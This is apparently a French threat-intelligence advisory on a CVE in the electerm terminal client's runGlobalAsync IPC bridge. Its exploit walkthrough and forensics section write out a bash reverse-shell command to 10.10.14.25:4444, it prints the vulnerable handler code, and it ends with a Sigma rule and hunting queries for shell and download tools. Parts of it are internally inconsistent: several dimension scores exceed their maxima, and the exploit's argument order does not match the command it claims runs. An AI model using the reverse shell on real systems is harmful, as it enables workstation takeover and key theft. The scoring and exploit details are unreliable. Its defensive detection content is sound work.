CVE-2026-86711 : exécution de code arbitraire via le pont IPC runGlobalAsync dans le client de terminal electerm

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU POSTE DÉVELOPPEUR

Cible : Application de bureau Electerm — Pont IPC Electron (runGlobalAsync) & Processus principal

Confiance : 96%

88 / 100

ÉLEVÉ

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions

Exploitabilité 18 / 20

Activité de menace 17 / 20

Militarisation 18 / 20

Exposition 17 / 20

Prévalence 17 / 20

Impact 19 / 20

Maturité de l'exploit 18 / 20

Potentiel d'attaque en chaîne 19 / 20

⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue à la CVE-2026-86711 un score élevé de 7.5 en raison de l'interaction utilisateur requise (connexion à un serveur SSH hostile, importation d'un profil de session piégé ou affichage d'une note piégée). Le score Hermes Threat Score élève cette sévérité à 88 (ÉLEVÉ). Electerm est intensivement employé par les ingénieurs DevOps, administrateurs système et architectes cloud. Compromettre le poste de travail d'un exploitant livre aux attaquants un accès immédiat aux clés privées SSH (`~/.ssh/id_rsa`), aux sessions de rebond actives (AWS, GCP, Azure), aux fichiers kubeconfig et aux accès VPN, transformant un échappement applicatif local en mouvement latéral massif.

HASS

SÉVÉRITÉ AGENTIQUE HASS & ÉCHAPPEMENT D'OUTILS DE DÉVELOPPEMENT

Cible : Canal IPC Renderer-vers-Main, frontières d'exécution hôte et outillage d'administration

Confiance : 93%

79 / 100

ÉLEVÉ

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions

Autonomie décisionnelle 14 / 20

Accès aux outils & APIs 17 / 20

Privilege 16 / 15

Persistence 15 / 15

External Impact 17 / 15

Propagation 16 / 15

⚖️ Divergence & Justification opérationnelle

Dans les opérations automatisées modernes, les agents d'assistance IA et les scripts de maintenance interagissent directement avec les émulateurs de terminal. Lorsqu'un outil de bureau maintient une passerelle IPC générique et sans liste blanche entre l'environnement de rendu non sécurisé (traitant les flux de texte brut, les séquences ANSI et les notes de session) et le processus principal privilégié, la frontière d'exécution s'effondre. Les flux de sortie non filtrés peuvent contraindre directement le système hôte à exécuter des commandes arbitraires.

Avis de vulnérabilité de sévérité élevée

CVSS v3.1 : 7.5 élevé : (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) / CWE-749 : exposition de méthode ou fonction dangereuse / CWE-20 : validation incorrecte des entrées / CWE-78 : injection de commandes OS. Référencé dans l’avis GitHub GHSA-qc8j-6jr2-qr32 et l’alerte VulnCheck. Corrigé dans Electerm version 5.3.15. Affecte l’ensemble des installations de bureau d’Electerm antérieures à la 5.3.15 sous Linux, macOS et Windows.

Sommaire exécutif (executive summary)

Electerm est un client open source multiplateforme de terminal, SSH, SFTP, Telnet et liaison série conçu sur le framework Electron. Utilisé au quotidien par les équipes d’infrastructure, il centralise la gestion des sessions de serveurs, l’édition de scripts distants et le multiplexage de fenêtres de console.

La CVE-2026-86711 met en évidence une vulnérabilité sévère dans l’architecture de communication inter-processus (IPC) d’Electerm. Avant la version 5.3.15, l’application implémentait un gestionnaire IPC générique nommé runGlobalAsync qui exposait directement plus de 40 fonctions internes du processus principal aux scripts de rendu (renderer), sans liste d’autorisation (allowlist) ni vérification de l’origine du cadre appelant. Lorsqu’un attaquant parvient à exécuter du script côté rendu — par exemple via des séquences d’échappement terminal malveillantes renvoyées par un serveur SSH compromis ou des profils de session piégés —, il peut invoquer des méthodes sensibles telles que openFileWithEditor pour exécuter des commandes système arbitraires en contournant le bac à sable (sandbox) d’Electron.

---

1. Contexte technique & surface d’attaque

Les applications Electron séparent leur exécution en deux univers étanches : le processus de rendu (Renderer), confiné dans un bac à sable Chromium sans accès direct à l’OS, et le processus principal (Main), doté de l’accès complet à l’API Node.js et aux privilèges de la session utilisateur.

┌────────────────────────────────────────────────────────────────────────┐
│                        APPLICATION DE BUREAU ELECTERM                  │
├────────────────────────────────────────────────────────────────────────┤
│ PROCESSUS DE RENDU (Sandbox Chromium)                                  │
│                                                                        │
│ [Flux terminal SSH hostile / Bannière piégée / Profil importé malveillant]│
│   │                                                                    │
│   ▼                                                                    │
│ [Injection de script côté rendu / Échappement ANSI]                    │
│   │                                                                    │
│   ▼                                                                    │
│ window.pre.runGlobalAsync('openFileWithEditor', [arguments])           │
│   │                                                                    │
├───┼────────────────────────────────────────────────────────────────────┤
│   │ PONT IPC (ipcRenderer.invoke / ipcMain.handle)                     │
│   │  [X] AUCUNE LISTE BLANCHE DE FONCTIONS                             │
│   │  [X] AUCUNE VÉRIFICATION DU CADRE D'ORIGINE                        │
│   ▼                                                                    │
│ PROCESSUS PRINCIPAL (Environnement Node.js - Pleins droits utilisateur)│
│                                                                        │
│ globalAppFunctions['openFileWithEditor'](arguments)                   │
│   │                                                                    │
│   ▼                                                                    │
│ child_process.spawn(editeurCible, [fichier, ...flagsInjectes])         │
│   │                                                                    │
│   ▼                                                                    │
│ [EXÉCUTION HÔTE : Reverse shell sous l'identité de l'ingénieur DevOps] │
└────────────────────────────────────────────────────────────────────────┘

Paramètre	Détail technique	Impact opérationnel
Identifiant CVE	CVE-2026-86711	Avis GitHub GHSA-qc8j-6jr2-qr32 / Alerte technique VulnCheck
Classe de vulnérabilité	Méthode dangereuse exposée (CWE-749), Validation d’entrée défaillante (CWE-20)	Exécution de commandes arbitraires depuis le processus de rendu
Composant vulnérable	electron/ipc.js & src/client/common/ipc.js (passerelle runGlobalAsync)	Architecture de communication inter-processus
Vecteurs de déclenchement	Sortie terminal d’un serveur SSH hostile, profil de session .json importé	L’utilisateur se connecte ou affiche un journal piégé
Authentification requise	Aucune (PR:N) sur le client ; requiert une action utilisateur (UI:R)	Prise de contrôle du poste de travail de l’administrateur
Impact	Exécution de code local, exfiltration des clés SSH et tokens cloud	Compromission complète du poste sous l’identité de la session
Versions affectées	< 5.3.15	Toutes les versions de bureau sous Linux, macOS et Windows
Version corrective	Electerm 5.3.15	Versions officielles GitHub et gestionnaires de paquets

---

2. Analyse de la cause racine & mécanique de l’exploit

La vulnérabilité provient de l’implémentation d’un répartiteur dynamique trop permissif dans le processus principal de l’application.

Défaut 1 : le répartiteur dynamique runGlobalAsync

Pour simplifier les échanges entre l’interface utilisateur et le moteur applicatif, Electerm enregistrait un unique gestionnaire IPC dans electron/ipc.js :

// Gestionnaire IPC vulnérable dans Electerm avant la version 5.3.15
ipcMain.handle('runGlobalAsync', async (event, { func, args = [] }) => {
    // ANOMALIE : Absence de liste d'autorisation et d'évaluation du contexte appelant
    if (typeof globalFuncs[func] === 'function') {
        return await globalFuncs[func](...args);
    }
    throw new Error(`Function ${func} not found`);
});

L’objet globalFuncs regroupait plus de 40 fonctions internes (ouverture de fichiers, gestion de sessions, initialisation de terminaux et vérification de mises à jour). N’importe quelle vue de rendu pouvait exécuter n’importe laquelle de ces fonctions en transmettant simplement son nom sous forme de chaîne de caractères.

Défaut 2 : le récepteur openFileWithEditor sans assainissement

Parmi les fonctions exposées, openFileWithEditor ouvrait des journaux ou configurations avec l’éditeur de texte configuré. Le chemin de l’éditeur était transmis directement à child_process.exec :

// Implémentation de openFileWithEditor dans le processus principal
function openFileWithEditor(filePath, editorPath = '') {
    const editor = editorPath || defaultEditor;
    // Si editorPath est fourni par l'appelant, il est directement exécuté
    const cmd = `"${editor}" "${filePath}"`;
    return child_process.exec(cmd);
}

En émettant un appel IPC avec func: "openFileWithEditor", un script exécuté dans le rendu pouvait spécifier un binaire exécutable arbitraire en guise d’editorPath (/bin/bash, powershell.exe) et injecter des paramètres malveillants dans filePath, aboutissant à l’exécution immédiate de commandes système avec les droits du développeur.

---

3. Flux d’exploitation pas à pas

L’exploitation est déclenchée lors de l’interaction de l’utilisateur avec un hôte distant ou un fichier malveillant :

1. Vecteur initial : l’ingénieur système se connecte via Electerm à un serveur SSH contrôlé par l’attaquant, ou importe un profil de favori partagé (sessions.json).
2. Injection de script côté rendu : le serveur distant transmet une séquence d’échappement spécifique ou une charge utile tirant parti d’un défaut de désinfection HTML dans la zone de texte du terminal, exécutant du code JavaScript dans le contexte de rendu d’Electerm.
3. Appel de la passerelle IPC : le script injecté sollicite le pont exposé :

   window.pre.runGlobalAsync({
       func: "openFileWithEditor",
       args: [
           "-c 'bash -i >& /dev/tcp/10.10.14.25/4444 0>&1'",
           "/bin/bash"
       ]
   });

4. Réception par le processus principal : le processus principal intercepte le message. Faute de liste blanche, il résout dynamiquement openFileWithEditor.
5. Exécution dans le contexte privilégié : le processus principal exécute /bin/bash -c "bash -i >& /dev/tcp/10.10.14.25/4444 0>&1".
6. Compromission du poste : un shell interactif inversé se connecte à l’attaquant. Ce dernier a accès aux dossiers ~/.ssh/, aux profils AWS/GCP et aux jetons de session locale.

---

4. Investigation forensique & télémétrie

L’investigation de la CVE-2026-86711 repose sur la reconstitution de l’arbre des processus initiés par l’exécutable Electerm et l’audit des accès aux fichiers de clés sensibles.

Artefacts système & filiation des processus

• Analyse de la filiation des processus : en condition normale, electerm lance des sous-processus de gestion de terminal (ex. workers node-pty). En aucun cas l’exécutable parent electerm ou electerm.exe ne doit lancer directement des binaires shell avec des arguments de redirection réseau :

  • Linux / macOS :

    electerm (PID 5410) -> /bin/bash -c "bash -i >& /dev/tcp/..." (PID 7821)

  • Windows :

    electerm.exe (PID 6120) -> cmd.exe /c powershell -enc ... (PID 8832)

  Consultez notre guide de référence : Analyse de la filiation des processus Windows et Traçage des créations de processus via l’événement 4688.

• Examen des profils de session : analysez le fichier ~/.config/electerm/electerm-sessions.json ou %APPDATA%\electerm\electerm-sessions.json pour identifier des sessions récemment importées contenant des balises script ou des chemins d’exécutables inhabituels.

Télémétrie réseau & clés SSH

• Flux réseau sortants : inspectez la télémétrie EDR à la recherche de sockets réseau sortants initiés par des processus fils d’Electerm vers des adresses IP distantes non répertoriées.
• Accès aux clés privées SSH : vérifiez les journaux d’audit sur les fichiers ~/.ssh/id_rsa, ~/.ssh/id_ed25519 et ~/.ssh/known_hosts immédiatement après le lancement d’une session Electerm. Consultez notre étude : Artefacts SSH et investigation forensique sous Linux.

---

5. Ingénierie de détection

Règle Sigma

title: Processus enfant suspect généré par le client Electerm
id: d9218671-8671-4a92-8012-86711cve2026
status: experimental
description: Détecte des shells interactifs suspects ou des utilitaires réseau lancés par Electerm, révélant une exploitation de la CVE-2026-86711.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-86711
    - https://github.com/electerm/electerm/security/advisories/GHSA-qc8j-6jr2-qr32
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-21
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\electerm.exe'
            - '\electerm'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\bash.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    selection_suspicious_args:
        CommandLine|contains:
            - ' -i '
            - '>&'
            - 'DownloadString'
            - 'bypass'
            - 'curl'
            - 'wget'
    condition: selection_parent and selection_child and selection_suspicious_args
falsepositives:
    - Sessions de terminal locales légitimes déclenchées par l'action normale de l'utilisateur
level: high
tags:
    - attack.execution
    - attack.t1059
    - cve.2026-86711

Requête de Threat Hunting

-- Splunk: Chasse aux processus shells anormaux issus d'Electerm
index=endpoint (process_name="electerm.exe" OR process_name="electerm")
| join type=inner parent_process_id [
    search index=endpoint process_name IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")
    | rename process_id as child_pid, process_name as child_process, command_line as child_cmd
]
| table _time, host, user, process_name, child_process, child_cmd

-- Elasticsearch: Détection de binaires LOLBAS exécutés par Electerm
process.parent.name:("electerm.exe" OR "electerm") AND process.name:("powershell.exe" OR "cmd.exe" OR "curl.exe" OR "certutil.exe" OR "bash")

---

6. Atténuation & durcissement

Remédiation immédiate

• Mise à niveau du client : mettre à niveau vers Electerm version 5.3.15 ou ultérieure. Cette version supprime la distribution dynamique d’appels IPC, instaure une liste blanche stricte des fonctions autorisées, valide les schémas d’arguments avec Zod et vérifie l’origine du cadre appelant.
• Isolation des connexions non éprouvées : lors de la connexion à des serveurs SSH inconnus ou publics (environnements de test, honeypots), privilégier des machines virtuelles jetables ou des terminaux natifs exempts de moteur de rendu web.

Durcissement architectural

• Surveillance EDR : configurer des règles de blocage comportemental interdisant aux outils bureautiques et clients d’administration de lancer des processus d’interpréteurs de commande avec arguments réseau. Se référer à notre étude : Défense contre les binaires LOLBAS et les abus d’exécution.
• Protection des clés SSH : utiliser des clés SSH matérielles (tokens FIDO2 / YubiKey) avec confirmation physique de présence (ssh-keygen -t ed25519-sk) pour empêcher toute exfiltration silencieuse des clés privées.

---

7. Maillage interne & références stratégiques

RCE par échappement Electron dans AnythingLLM Desktop (CVE-2026-32626) Étude comparative des échappements IPC et de la subversion des bacs à sable applicatifs.

Analyse de la filiation des processus Windows Traçage des créations de processus anormaux depuis des applications de bureau.

Forensique des Named Pipes et de l'IPC Windows Mécanismes de communication inter-processus et détection des détournements malveillants.

Artefacts SSH et chasse aux sessions sous Linux Investigation sur les clés compromises, les modifications de fichiers authorized_keys et les rebonds SSH.

Sources

• Avis de sécurité GitHub : GHSA-qc8j-6jr2-qr32
• Alerte technique VulnCheck : electerm runGlobalAsync IPC Bridge Escape
• NIST National Vulnerability Database : fiche CVE-2026-86711
• Notes de version Electerm : journal des modifications v5.3.15